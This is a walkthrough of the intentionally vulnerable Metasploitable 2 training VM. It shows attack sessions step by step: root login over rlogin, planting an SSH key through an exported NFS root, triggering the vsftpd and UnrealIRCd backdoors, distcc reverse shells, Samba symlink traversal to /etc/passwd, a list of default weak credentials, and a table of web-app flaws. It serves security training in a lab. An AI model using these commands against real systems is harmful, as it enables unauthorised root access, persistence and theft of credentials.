Metasploitable 2
The  Metasploitable virtual machine is an intentionally vulnerable version  of Ubuntu Linux designed for testing security tools and demonstrating  common vulnerabilities. Version 2 of this virtual machine is 
available for download and ships with even more vulnerabilities than the original image. This  virtual machine is compatible with VMWare, VirtualBox, and other common  virtualization platforms. By default, Metasploitable's network  interfaces are bound to the NAT and Host-only network adapters, and the  image should never be exposed to a hostile network. (Note: A video  tutorial on installing Metasploitable 2 is available at the link 
Tutorial on installing Metasploitable 2.0 on a Virtual Box Host Only network.)
This  document outlines many of the security flaws in the Metasploitable 2  image. Currently missing is documentation on the web server and web  application flaws as well as vulnerabilities that allow a local user to  escalate to root privileges. This document will continue to expand over  time as many of the less obvious flaws with this platform are detailed.
Getting Started
After the virtual machine boots, login to console with username 
msfadmin and password 
msfadmin. From the shell, run the ifconfig command to identify the IP address.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:9a:52:c1  
          inet addr:192.168.99.131  Bcast:192.168.99.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
Services
From  our attack system (Linux, preferably something like Kali Linux), we  will identify the open network services on this virtual machine using  the 
Nmap Security Scanner. The following command line will scan all TCP ports on the Metasploitable 2 instance:
root@ubuntu:~# nmap -p0-65535 192.168.99.131
Nmap scan report for 192.168.99.131
Host is up (0.00028s latency).
Not shown: 65506 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  unknown
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  unknown
39292/tcp open  unknown
43729/tcp open  unknown
44813/tcp open  unknown
55852/tcp open  unknown
MAC Address: 00:0C:29:9A:52:C1 (VMware)
Nearly  every one of these listening services provides a remote entry point  into the system. In the next section, we will walk through some of these  vectors.
Services: Unix Basics
TCP  ports 512, 513, and 514 are known as "r" services, and have been  misconfigured to allow remote access from any host (a standard ".rhosts +  +" situation). To take advantage of this, make sure the "rsh-client"  client is installed (on Ubuntu), and run the following command as your  local root user. If you are prompted for an SSH key, this means the  rsh-client tools have not been installed and Ubuntu is defaulting to  using SSH.
# rlogin -l root 192.168.99.131
Last login: Fri Jun  1 00:10:39 EDT 2012 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
root@metasploitable:~# 
This  is about as easy as it gets. The next service we should look at is the  Network File System (NFS). NFS can be identified by probing port 2049  directly or asking the portmapper for a list of services. The example  below using rpcinfo to identify NFS and showmount -e to determine that  the "/" share (the root of the file system) is being exported. You will  need the rpcbind and nfs-common Ubuntu packages to follow along.
root@ubuntu:~# rpcinfo -p 192.168.99.131
   program vers proto   port  service
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper
    100024    1   udp  53318  status
    100024    1   tcp  43729  status
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100003    4   udp   2049  nfs
    100021    1   udp  46696  nlockmgr
    100021    3   udp  46696  nlockmgr
    100021    4   udp  46696  nlockmgr
    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs
    100003    4   tcp   2049  nfs
    100021    1   tcp  55852  nlockmgr
    100021    3   tcp  55852  nlockmgr
    100021    4   tcp  55852  nlockmgr
    100005    1   udp  34887  mountd
    100005    1   tcp  39292  mountd
    100005    2   udp  34887  mountd
    100005    2   tcp  39292  mountd
    100005    3   udp  34887  mountd
    100005    3   tcp  39292  mountd
root@ubuntu:~# showmount -e 192.168.99.131
Export list for 192.168.99.131:
/ *
Getting  access to a system with a writeable filesystem like this is trivial. To  do so (and because SSH is running), we will generate a new SSH key on  our attacking system, mount the NFS export, and add our key to the root  user account's authorized_keys file:
root@ubuntu:~# ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
root@ubuntu:~# mkdir /tmp/r00t
root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/
root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys 
root@ubuntu:~# umount /tmp/r00t 
root@ubuntu:~# ssh root@192.168.99.131
Last login: Fri Jun  1 00:29:33 2012 from 192.168.99.128
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
root@metasploitable:~# 
Services: Backdoors
On port 21, Metasploitable2 runs vsftpd, a popular FTP server. This particular version 
contains a backdoor that was slipped into the source code by an unknown intruder. The  backdoor was quickly identified and removed, but not before quite a few  people downloaded it. If a username is sent that ends in the sequence  ":)" [ a happy face ], the backdoored version will open a listening  shell on port 6200. We can demonstrate this with telnet or use the 
Metasploit Framework module to automatically exploit it:
root@ubuntu:~# telnet 192.168.99.131 21
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
user backdoored:)
331 Please specify the password.
pass invalid
^]
telnet> quit
Connection closed.
root@ubuntu:~# telnet 192.168.99.131 6200
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
id;
uid=0(root) gid=0(root)
On port 6667, Metasploitable2 runs the UnreaIRCD IRC daemon. This version contains a backdoor that 
went unnoticed for months - triggered by sending the letters "AB" following by a system command to the server on any listening port. Metasploit 
has a module to exploit this in order to gain an interactive shell, as shown below.
msfconsole
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf  exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131
msf  exploit(unreal_ircd_3281_backdoor) > exploit 
[*] Started reverse double handler
[*] Connected to 192.168.99.131:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 8bMUYsfmGvOLHBxe;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "8bMUYsfmGvOLHBxe\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at 2012-05-31 21:53:59 -0700
id
uid=0(root) gid=0(root)
Much  less subtle is the old standby "ingreslock" backdoor that is listening  on port 1524. The ingreslock port was a popular choice a decade ago for  adding a backdoor to a compromised server. Accessing it is easy:
root@ubuntu:~# telnet 192.168.99.131 1524
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
root@metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)
Services:Unintentional Backdoors
In  addition to the malicious backdoors in the previous section, some  services are almost backdoors by their very nature. The first of which  installed on Metasploitable2 is distccd. This program makes it easy to  scale large compiler jobs across a farm of like-configured systems. The  problem with this service is that an attacker can easily abuse it to run  a command of their choice, as demonstrated by the 
Metasploit module usage below.
msfconsole
msf > use exploit/unix/misc/distcc_exec 
msf  exploit(distcc_exec) > set RHOST 192.168.99.131
msf  exploit(distcc_exec) > exploit 
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo uk3UdiwLUq0LX3Bi;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "uk3UdiwLUq0LX3Bi\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at 2012-05-31 22:06:03 -0700
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Samba, when configured with a writeable file share and "
wide links"  enabled (default is on), can also be used as a backdoor of sorts to  access files that were not meant to be shared. The example below uses a 
Metasploit module to provide access to the root filesystem using an anonymous connection and a writeable share.
root@ubuntu:~# smbclient -L //192.168.99.131
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        tmp             Disk      oh noes!
        opt             Disk      
        IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
        ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
root@ubuntu:~# msfconsole
msf > use auxiliary/admin/smb/samba_symlink_traversal 
msf  auxiliary(samba_symlink_traversal) > set RHOST 192.168.99.131
msf  auxiliary(samba_symlink_traversal) > set SMBSHARE tmp
msf  auxiliary(samba_symlink_traversal) > exploit 
[*] Connecting to the server...
[*] Trying to mount writeable share 'tmp'...
[*] Trying to link 'rootfs' to the root filesystem...
[*] Now access the following share to browse the root filesystem:
[*]     \\192.168.99.131\tmp\rootfs\
msf  auxiliary(samba_symlink_traversal) > exit
root@ubuntu:~# smbclient //192.168.99.131/tmp
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
smb: \> cd rootfs
smb: \rootfs\> cd etc
smb: \rootfs\etc\> more passwd
getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
[..]
Weak Passwords
In  additional to the more blatant backdoors and misconfigurations,  Metasploit2 has terrible password security for both system and database  server accounts. The primary administrative user msfadmin has a password matching the username. By discovering the list of users  on this system, either by using another flaw to capture the passwd file,  or by enumerating these user IDs via Samba, a brute force attack can be  used to quickly access multiple user accounts. At a minimum, the  following weak system accounts are configured on the system.
| msfadmin | msfadmin | 
| user | user | 
| postgres | postgres | 
| sys | batman | 
| klog | 123456789 | 
| service | service | 
In addition to these system-level accounts, the PostgreSQL service can be accessed with username 
postgres and password 
postgres, while the MySQL service is open to username 
root with an empty password. The VNC service provides remote desktop access using the password 
password.
Vulnerable Web Services
Metasploitable 2 has deliberately vulnerable web applications pre-installed. The web server starts automatically when Metasploitable 2 is booted. To access the web applications, open a web browser and enter the URL http://<IP> where <IP> is the IP address of Metasploitable 2. One way to accomplish this is to install Metasploitable  2 as a guest operating system in Virtual Box and change the network  interface settings from "NAT" to "Host Only". (Note: A video tutorial on installing Metasploitable 2 is available at the link 
Tutorial on installing Metasploitable 2.0 on a Virtual Box Host Only network.)
 
In this example, Metasploitable 2 is running at IP 192.168.56.101. Browsing to 
http://192.168.56.101/ shows the web application home page. 
 
Note:  192.168.56/24 is the default "host only" network in Virtual Box. IP  address are assigned starting from "101". Depending on the order in  which guest operating systems are started, the IP address of  Metasploitable 2 will vary.
To  access a particular web application, click on one of the links  provided. Individual web applications may additionally be accessed by  appending the application directory name onto 
http://<IP> to create URL 
http://<IP>/<Application Folder>/. For example, the Mutillidae application may be access (in this example) at address 
http://192.168.56.101/mutillidae/.  The applications are installed in Metasploitable 2 in the /var/www  directory. (Note: See a list with command "ls /var/www".) In the current  version as of this writing, the applications are
 
- mutillidae (NOWASP Mutillidae 2.1.19)
 
- dvwa (Damn Vulnerable Web Application)
 
- phpMyAdmin
 
- tikiwiki (TWiki)
 
- tikiwiki-old
 
- dav (WebDav)
 
Vulnerable Web Service: Mutillidae
The Mutillidae web application (
NOWASP (Mutillidae))  contains all of the vulnerabilities from the OWASP Top Ten plus a  number of other vulnerabilities such as HTML-5 web storage, forms  caching, and click-jacking. Inspired by DVWA, Mutillidae allows the user  to change the "Security Level" from 0 (completely insecure) to 5  (secure). Additionally three levels of hints are provided ranging from  "Level 0 - I try harder" (no hints) to "Level 2 - noob" (Maximum hints).  If the application is damaged by user injections and hacks, clicking  the "Reset DB" button resets the application to its original state.
 
Note: Tutorials on using Mutillidae are available at the 
 webpwnized YouTube Channel.
 
Enable hints in the application by click the "Toggle Hints" button on the menu bar:
The Mutillidae application contains at least the following vulnerabilities on these respective pages:
| add-to-your-blog.php |     SQL Injection on blog entry 
    SQL Injection on logged in user name 
    Cross site scripting on blog entry 
    Cross site scripting on logged in user name 
    Log injection on logged in user name 
    CSRF 
    JavaScript validation bypass 
    XSS in the form title via logged in username 
    The show-hints cookie can be changed by user to enable hints even though they are not suppose to show in secure mode | 
| arbitrary-file-inclusion.php |     System file compromise 
    Load any page from any site | 
  | 
  | 
| browser-info.php | XSS via referer HTTP header 
JS Injection via referer HTTP header 
XSS via user-agent string HTTP header | 
| capture-data.php | 
  | XSS via any GET, POST, or Cookie |  
 
 | 
| captured-data.php | XSS via any GET, POST, or Cookie | 
| config.inc* | Contains unencrytped database credentials | 
| credits.php | Unvalidated Redirects and Forwards | 
| dns-lookup.php | Cross site scripting on the host/ip field 
O/S Command injection on the host/ip field 
This page writes to the log. SQLi and XSS on the log are possible 
GET for POST is possible because only reading POSTed variables is not enforced. | 
| footer.php* | Cross site scripting via the HTTP_USER_AGENT HTTP header. | 
| framing.php | Click-jacking | 
| header.php* | XSS via logged in user name and signature 
The Setup/reset the DB menu item canbe enabled by setting the uid value of the cookie to 1 | 
| html5-storage.php | DOM injection on the add-key error message because the key entered is output into the error message without being encoded | 
| index.php* | You can XSS the hints-enabled output in the menu because it takes input from the hints-enabled cookie value. 
You can SQL injection the UID cookie value because it is used to do a lookup 
You can change your rank to admin by altering the UID value 
HTTP Response Splitting via the logged in user name because it is used to create an HTTP Header 
This page is responsible for cache-control but fails to do so 
This page allows the X-Powered-By HTTP header 
HTML comments 
There are secret pages that if browsed to will redirect user to the phpinfo.php page. This can be done via brute forcing | 
| log-visit.php | SQL injection and XSS via referer HTTP header 
SQL injection and XSS via user-agent string | 
| login.php | Authentication bypass SQL injection via the username field and password field 
SQL injection via the username field and password field 
XSS via username field 
JavaScript validation bypass | 
| password-generator.php | JavaScript injection | 
| pen-test-tool-lookup.php | JSON injection | 
| phpinfo.php | This page gives away the PHP server configuration 
Application path disclosure 
Platform path disclosure | 
| process-commands.php | Creates cookies but does not make them HTML only | 
| process-login-attempt.php | Same as login.php. This is the action page. | 
| redirectandlog.php | Same as credits.php. This is the action page | 
| register.php | SQL injection and XSS via the username, signature and password field | 
| rene-magritte.php | Click-jacking | 
| robots.txt | Contains directories that are supposed to be private | 
| secret-administrative-pages.php | This page gives hints about how to discover the server configuration | 
| set-background-color.php | Cascading style sheet injection and XSS via the color field | 
| show-log.php | Denial of Service if you fill up the log 
XSS via the hostname, client IP, browser HTTP header, Referer HTTP header, and date fields | 
| site-footer-xss-discusson.php | XSS via the user agent string HTTP header | 
| source-viewer.php | Loading of any arbitrary file including operating system files. | 
| text-file-viewer.php | Loading of any arbitrary web page on the Interet or locally including the sites password files. 
Phishing | 
| user-info.php | SQL injection to dump all usernames and passwords via the username field or the password field 
XSS via any of the displayed fields. Inject the XSS on the register.php page. 
XSS via the username field | 
| user-poll.php | Parameter pollution 
GET for POST 
XSS via the choice parameter 
Cross site request forgery to force user choice | 
| view-someones-blog.php | XSS via any of the displayed fields. They are input on the add to your blog page. | 
Vulnerable Web Services: DVWA
From  the DVWA home page: "Damn Vulnerable Web App (DVWA) is a PHP/MySQL web  application that is damn vulnerable. Its main goals are to be an aid for  security professionals to test their skills and tools in a legal  environment, help web developers better understand the processes of  securing web applications and aid teachers/students to teach/learn web  application security in a class room environment.".
Default username = admin
Default password = password
Vulnerable Web Services: Information Disclosure
Additionally, an ill-advised PHP information disclosure page can be found at 
http://<IP>/phpinfo.php. In this example, the URL would be 
http://192.168.56.101/phpinfo.php.  The PHP info information disclosure vulnerability provides internal  system information and service version information that can be used to  look up vulnerabilities. For example, noting that the version of PHP  disclosed in the screenshot is version 5.2.4, it may be possible that  the system is vulnerable to 
CVE -CVE-2012-1823 and 
CVE -CVE-2012-2311 which affected PHP before 5.3.12 and 5.4.x before 5.4.2.
 
You can 
download Metasploitable here.